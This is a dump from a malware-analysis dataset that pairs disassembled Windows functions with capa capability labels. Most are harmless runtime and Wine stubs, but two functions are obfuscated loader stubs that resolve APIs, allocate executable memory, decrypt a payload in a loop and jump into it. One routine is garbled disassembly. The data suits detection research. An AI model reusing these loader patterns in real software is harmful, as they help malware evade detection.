joyce8/EMBER2024-capa huggingface dataset:
Function at 0x702e1090
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [section..data], 8
jne 0x702e10a1
mov eax, 0xe
ret 0xc
push ebp
mov ebp, esp
push ebx
sub esp, 0x2c
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._wine_dbgstr_an
mov dword [esp + 4], 0xffffffff
mov ebx, eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._wine_dbgstr_an
mov edx, dword [ebp + 0x10]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], str.__s___s___u__n
mov dword [esp + 0x10], 0x34
mov dword [esp + 0xc], str.NDdeShareDelA
mov dword [esp + 8], 0x702e6051
mov dword [esp + 4], 0x702e5000
mov dword [esp], 3
call sym._ros_dbg_log
add esp, 0x2c
mov eax, 0xe
pop ebx
pop ebp
ret 0xc

Function at 0x702e1120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [section..data], 8
jne 0x702e1131
mov eax, 0xe
ret 0x18
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._wine_dbgstr_an
mov edx, dword [ebp + 0x1c]
mov dword [esp + 0x14], str.__s___u___p___u___p___p__n
mov dword [esp + 0x18], eax
mov dword [esp + 0x2c], edx
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0x28], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], str.NDdeShareEnumA
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], 0x702e6051
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], 0x702e5000
mov dword [esp + 0x1c], edx
mov dword [esp], 3
call sym._ros_dbg_log
mov eax, 0xe
leave
ret 0x18

Function at 0x702e1650
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [section..data], 8
jne 0x702e1661
mov eax, 0xe
ret 0xc
push ebp
mov ebp, esp
push ebx
sub esp, 0x2c
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._wine_dbgstr_an
mov dword [esp + 4], 0xffffffff
mov ebx, eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._wine_dbgstr_an
mov edx, dword [ebp + 0x10]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], str.__s___s__0x_08x__n
mov dword [esp + 0x10], 0xad
mov dword [esp + 0xc], str.NDdeSetTrustedShareA
mov dword [esp + 8], 0x702e6051
mov dword [esp + 4], 0x702e5000
mov dword [esp], 3
call sym._ros_dbg_log
add esp, 0x2c
mov eax, 0xe
pop ebx
pop ebp
ret 0xc
Function at 0x702e16e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [section..data], 8
jne 0x702e16f1
mov eax, 0xe
ret 0x18
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._wine_dbgstr_an
mov edx, dword [ebp + 0x1c]
mov dword [esp + 0x14], str.__s___u___p___u___p___p__n
mov dword [esp + 0x18], eax
mov dword [esp + 0x2c], edx
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x10], 0xb9
mov dword [esp + 0x28], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], str.NDdeTrustedShareEnumA
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], 0x702e6051
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], 0x702e5000
mov dword [esp + 0x1c], edx
mov dword [esp], 3
call sym._ros_dbg_log
mov eax, 0xe
leave
ret 0x18

Function at 0x702e1800
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [section..data], 8
jne 0x702e1811
mov eax, 0xe
ret 0xc
push ebp
mov ebp, esp
push ebx
sub esp, 0x2c
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._wine_dbgstr_wn
mov dword [esp + 4], 0xffffffff
mov ebx, eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._wine_dbgstr_wn
mov edx, dword [ebp + 0x10]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], str.__s___s___u__n
mov dword [esp + 0x10], 0xd1
mov dword [esp + 0xc], str.NDdeShareDelW
mov dword [esp + 8], 0x702e6051
mov dword [esp + 4], 0x702e5000
mov dword [esp], 3
call sym._ros_dbg_log
add esp, 0x2c
mov eax, 0xe
pop ebx
pop ebp
ret 0xc

Function at 0x702e1890
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [section..data], 8
jne 0x702e18a1
mov eax, 0xe
ret 0x18
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._wine_dbgstr_wn
mov edx, dword [ebp + 0x1c]
mov dword [esp + 0x14], str.__s___u___p___u___p___p__n
mov dword [esp + 0x18], eax
mov dword [esp + 0x2c], edx
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x10], 0xdd
mov dword [esp + 0x28], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], str.NDdeShareEnumW
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], 0x702e6051
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], 0x702e5000
mov dword [esp + 0x1c], edx
mov dword [esp], 3
call sym._ros_dbg_log
mov eax, 0xe
leave
ret 0x18
Function at 0x702e1d20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [section..data], 8
jne 0x702e1d31
mov eax, 0xe
ret 0x14
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._wine_dbgstr_wn
mov dword [esp + 4], 0xffffffff
mov ebx, eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._wine_dbgstr_wn
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x28], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0x14], str.__s___s___p___p___p__n
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 0x10], 0x13e
mov dword [esp + 0x20], edx
mov dword [esp + 0xc], str.NDdeGetTrustedShareW
mov dword [esp + 8], 0x702e6051
mov dword [esp + 4], 0x702e5000
mov dword [esp], 3
call sym._ros_dbg_log
add esp, 0x34
mov eax, 0xe
pop ebx
pop ebp
ret 0x14

Function at 0x702e1dc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [section..data], 8
jne 0x702e1dd1
mov eax, 0xe
ret 0xc
push ebp
mov ebp, esp
push ebx
sub esp, 0x2c
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._wine_dbgstr_wn
mov dword [esp + 4], 0xffffffff
mov ebx, eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._wine_dbgstr_wn
mov edx, dword [ebp + 0x10]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], str.__s___s__0x_08x__n
mov dword [esp + 0x10], 0x14a
mov dword [esp + 0xc], str.NDdeSetTrustedShareW
mov dword [esp + 8], 0x702e6051
mov dword [esp + 4], 0x702e5000
mov dword [esp], 3
call sym._ros_dbg_log
add esp, 0x2c
mov eax, 0xe
pop ebx
pop ebp
ret 0xc

Function at 0x702e1e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test byte [section..data], 8
jne 0x702e1e61
mov eax, 0xe
ret 0x18
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._wine_dbgstr_wn
mov edx, dword [ebp + 0x1c]
mov dword [esp + 0x14], str.__s___u___p___u___p___p__n
mov dword [esp + 0x18], eax
mov dword [esp + 0x2c], edx
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x10], 0x156
mov dword [esp + 0x28], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], str.NDdeTrustedShareEnumW
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], 0x702e6051
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], 0x702e5000
mov dword [esp + 0x1c], edx
mov dword [esp], 3
call sym._ros_dbg_log
mov eax, 0xe
leave
ret 0x18

Function at 0x702e1ee0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0x50]
sub esp, 0x5c
mov dword [esp], str.WARNING:_calling_stub_NDdeSpecialCommandA___n
call sym._DbgPrint
xor eax, eax
mov ecx, 0x12
mov dword [ebp - 0x58], 0x80000100
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x54], 1
mov dword [esp], eax
mov dword [ebp - 0x44], str.nddeapi.dll
mov dword [ebp - 0x40], str.NDdeSpecialCommandA
mov dword [ebp - 0x48], 2
call sym._RtlRaiseException_4
Function at 0x702e1f40
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0x50]
sub esp, 0x5c
mov dword [esp], str.WARNING:_calling_stub_NDdeSpecialCommandW___n
call sym._DbgPrint
xor eax, eax
mov ecx, 0x12
mov dword [ebp - 0x58], 0x80000100
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x54], 1
mov dword [esp], eax
mov dword [ebp - 0x44], str.nddeapi.dll
mov dword [ebp - 0x40], str.NDdeSpecialCommandW
mov dword [ebp - 0x48], 2
call sym._RtlRaiseException_4
Function at 0x702e3c60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
lea esi, [ebp + 0xc]
sub esp, 0x10
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], 0x702e64f4
call sym._fwrite
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.msvcrt.dll_vfprintf]
call sym._abort
lea esi, [esi]
Function at 0x4032ec
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40330c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004049bc
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x40332f
test byte [esp + 8], 2
je 0x40332f
call fcn.00404a2f
mov dword [eax], 0xd
call fcn.00404a38
mov dword [eax], 5
jmp 0x403308
xor eax, eax
ret

Function at 0x409080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4202d8
cmp edx, dword [eax]
je 0x4090a2
add eax, 8
inc ecx
cmp eax, 0x420368
jl 0x409093
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4202d8]
jne 0x4091d0
mov eax, dword [0x45f9ac]
cmp eax, 1
je 0x4091aa
test eax, eax
jne 0x4090d3
cmp dword [0x41f944], 1
je 0x4091aa
cmp edx, 0xfc
je 0x4091d0
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40910a
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040a3f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00406a40
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40914d
lea eax, [ebp - 0x1a4]
push eax
call fcn.00406a40
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41a87c
push edi
call fcn.00403340
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040a3f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040a400
lea eax, [ebp - 0xa0]
push 0x41a85c
push eax
call fcn.0040a400
push dword [esi + 0x4202dc]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040a400
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040b8f7
add esp, 0x2c
pop edi
jmp 0x4091d0
lea eax, [ebp + 8]
lea esi, [esi + 0x4202dc]
push 0
push eax
push dword [esi]
call fcn.00406a40
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x415ef6
Capabilities:
Create http request

Disassembly:
mov eax, 0x418080
call fcn.00404078
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x415f2e
call fcn.004171b9
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x415f53
push eax
push dword [esi + 4]
call fcn.00416ba8
jmp 0x415f5f
push esi
push eax
mov ecx, 0x45da18
call fcn.00415f70
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x416221
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x4180df
call fcn.00404078
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.004111d0
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x41f300]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.00410d84
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.00410d84
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x403e59
pop dword [ebp - 0x38]
mov eax, 0x403e59
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xf813fbc6
add dword [ebp - 0x48], 0x563e4985
mov dword [ebp - 0x44], 0x1713cc93
add dword [ebp - 0x44], 0x1b1f7fb2
mov dword [ebp - 0x40], 0xf4ae8e6b
sub dword [ebp - 0x40], 0xa8624a3d
mov dword [ebp - 0x3c], 0x41f99358
add dword [ebp - 0x3c], 0xbe066ca8
lea eax, [ebp - 0x48]
push eax
mov eax, 0xf6829d11
add eax, 0x9bde37b
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xedd80202
add dword [ebp - 0x48], 0x869a6754
mov dword [ebp - 0x44], 0x50f6b84f
add dword [ebp - 0x44], 0xf075a926
mov dword [ebp - 0x40], 0xb59b8b1
add dword [ebp - 0x40], 0x5815b3bb
mov dword [ebp - 0x3c], 0xa4c9b73
add dword [ebp - 0x3c], 0xf5b3648d
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x390d9
push 0
call eax
mov ecx, 0x5139
xor ebx, ebx
add ebx, eax
mov edi, 0x3d3193f7
sub edi, 0x3cf083f7
add edi, dword [ebp - 0x38]
mov edx, 0xc587e6dd
xor dword [ebp - 0xc], ebx
mov esi, dword [edi]
mov dword [ebp - 4], 0x78bea2db
sub esi, edx
sub dword [ebp - 0x2c], 0x603a1156
mov dword [ebx], esi
mov dword [ebp - 0x10], 0xdf710b52
add ebx, 4
add edi, 4
loop 0x403f67
add eax, 0x137b7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7a71c664
add ecx, 0x85ce399c
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x406ced
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x40af98
call fcn.00406fd4
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.kernel32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x406d2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406d2d
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x406d45
cmp eax, 0x20b
je 0x406d32
mov dword [ebp - 0x1c], ebx
jmp 0x406d59
cmp dword [ecx + 0x84], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x406d53
cmp dword [ecx + 0x74], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40ea78], 0xffffffff
or dword [0x40ea7c], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x40d464]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x40d460]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40ea74], eax
call fcn.00406f30
call fcn.00406fd0
cmp dword [0x40d320], ebx
jne 0x406db9
push fcn.00406fd0
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00406fbe
push 0x40c00c
push 0x40c008
call sub.MSVCR71.dll__initterm
push 0x406f74
call fcn.00406f1e
mov eax, dword [0x40d45c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40d458]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x406e0d
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x40c004
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x406e8b
cmp al, bl
je 0x406e37
cmp dword [ebp - 0x20], ebx
jne 0x406e8b
mov al, byte [esi]
cmp al, bl
je 0x406e47
cmp al, 0x20
ja 0x406e47
inc esi
mov dword [ebp - 0x24], esi
jmp 0x406e37
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x406e63
movzx eax, word [ebp - 0x54]
jmp 0x406e66
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00404254
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x406e83
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x406ee0
cmp al, 0x22
jne 0x406e9a
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x406ead
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x406e25
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0040700f
ret

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4
Function at 0x6d3f378d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x6d410030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x6d3f3830
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d40357a
pop ecx
pop ecx
test eax, eax
je 0x6d3f3819
test ebx, ebx
je 0x6d3f380d
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.6d40357a
pop ecx
pop ecx
test eax, eax
jle 0x6d3f3819
push ebx
call fcn.6d3f5895
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.6d3f5874
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x6d3f37da
xor edi, edi
cmp ebx, edi
jne 0x6d3f3834
xor eax, eax
jmp 0x6d3f38a0
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x6d3f3863
call fcn.6d3f5895
pop ecx
cmp dword [ebp - 0x70], edi
je 0x6d3f3830
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x6d3f3830
call fcn.6d3f5895
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d3f3853
cmp dword [ebp - 0x70], edi
je 0x6d3f3896
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d3f5874
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d3f8259
add ebp, 0x9c
leave
ret
Function at 0x6d3f555d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x6d410030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.6d3f53ca
push 8
mov esi, eax
call fcn.6d3f582d
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x6d3f55c8
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x6d3f55cf
and dword [ebx + 4], 0
jmp 0x6d3f55e4
xor eax, eax
jmp 0x6d3f56af
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x6d3f5695
push edi
call fcn.6d3f7a10
pop ecx
cmp eax, 4
jl 0x6d3f55bb
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x6d3f55bb
add eax, 0xfffffffd
push 0x6d40982c
push eax
mov dword [ebp - 0x74], eax
call fcn.6d3f8270
pop ecx
pop ecx
test eax, eax
je 0x6d3f562a
push 0x6d409828
push dword [ebp - 0x74]
call fcn.6d3f8270
pop ecx
pop ecx
test eax, eax
jne 0x6d3f55bb
push 0x3b
push edi
call fcn.6d3f93f0
pop ecx
pop ecx
test eax, eax
jne 0x6d3f55bb
push dword [ebp - 0x78]
call fcn.6d3f7a10
push edi
mov ebx, eax
call fcn.6d3f7a10
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.6d3f582d
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.6d40357a
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.6d40357a
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.6d3f5420
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x6d3f55bb
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.6d3f5895
push ebx
call fcn.6d3f5895
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d3f8259
add ebp, 0x214
leave
ret

Function at 0x6d3f8259
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d410030]
jne 0x6d3f8263
repz ret
jmp fcn.6d3fe721
Function at 0x6d40357a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x6d403589
pop dword [ebp - 0x2c]
mov eax, 0x6bbcdebf
add eax, 0x18356ca
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x45bbb167
add dword [ebp - 0x3c], 0x89693e4
mov dword [ebp - 0x38], 0xf26c498b
add dword [ebp - 0x38], 0x3fc702ba
mov dword [ebp - 0x34], 0x7dc75d55
add dword [ebp - 0x34], 0xce84e6d9
mov dword [ebp - 0x30], 0x195c8eab
sub dword [ebp - 0x30], 0x195c8eab
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x78de3c9f
sub dword [ebp - 0x3c], 0x46bd349
mov dword [ebp - 0x38], 0x623bd992
add dword [ebp - 0x38], 0xdf3087e3
mov dword [ebp - 0x34], 0xe1b6ee55
sub dword [ebp - 0x34], 0x7e4781e9
mov dword [ebp - 0x30], 0x58a13aa6
add dword [ebp - 0x30], 0xa75ec55a
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b551
push 0
call eax
mov ecx, 0x9cac8161
sub ecx, 0x9cac38d9
xor edx, edx
add edx, eax
mov esi, 0x293746ff
sub esi, 0xbbf5deff
add esi, dword [ebp - 0x2c]
mov ebx, 0x21422d82
add ebx, 0x8b80528b
add dword [ebp - 0xc], 0x74e4b417
mov edi, dword [esi]
xor dword [ebp - 8], 0xf59572f8
xor edi, ebx
add dword [ebp - 0x24], 0x1de44882
mov dword [edx], edi
xor dword [ebp - 0x10], ecx
add edx, 0xb62ad6f4
add edx, 0x49d52910
add esi, 0xbf9a5983
add esi, 0x4065a681
loop 0x6d4036a3
add eax, 0x3c9763b9
add eax, 0xc369b13a
mov ebx, eax
add eax, 0x8e5c0bf2
add eax, 0x71a3f413
mov ecx, 0xa0da294c
add ecx, 0xcc64d6b4
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret